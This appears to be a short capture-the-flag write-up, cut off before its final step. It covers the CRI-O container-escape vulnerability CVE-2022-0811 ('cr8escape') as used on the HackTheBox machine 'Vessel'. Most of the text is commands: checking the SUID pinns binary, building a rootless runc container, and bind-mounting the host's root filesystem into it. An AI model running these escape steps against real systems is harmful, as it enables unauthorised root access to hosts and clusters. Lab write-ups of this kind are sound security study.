is a vulnerability in (a container runtime engine underpinning Kubernetes). Dubbed “cr8escape,” when invoked, an attacker could escape from a Kubernetes container and gain root access to the host and be able to move anywhere in the cluster. Invocation of CVE-2022-0811 can allow an attacker to perform a variety of actions on objectives, including execution of malware, exfiltration of data and lateral movement across pods.
Proof-of-Concept
My notes from using CVE-2022-0811 to pwn the machine 'Vessel' on HackTheBox.
SUID bit on /usr/bin/pinns:
ethan@vessel:/$ ls -al /usr/bin/pinns
-rwsr-x--- 1 root ethan 814936 Mar 15 18:18 /usr/bin/pinns
Reading about the exploit we should (1) create a pod/container, (2) use pinns to exploit the vulnerable variable kernel.core_pattern, (3) trigger a core dump and then reap the rewards. More information here:
Create a container using kubectl, minikube, docker or runc.
## Create location for runc filesystem
ethan@vessel:/$ mkdir /tmp/pthree
ethan@vessel:/$ mkdir /tmp/pthree/rootfs
## Create runc configuration
ethan@vessel:/tmp/pthree$ runc spec --rootless
## Add following data under 'mounts' section of config.json
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
## Start runc
ethan@vessel:/tmp/pthree$ runc run privesc
root@runc:/# hostname
runc
Open a second terminal and write a simple PoC script to be executed
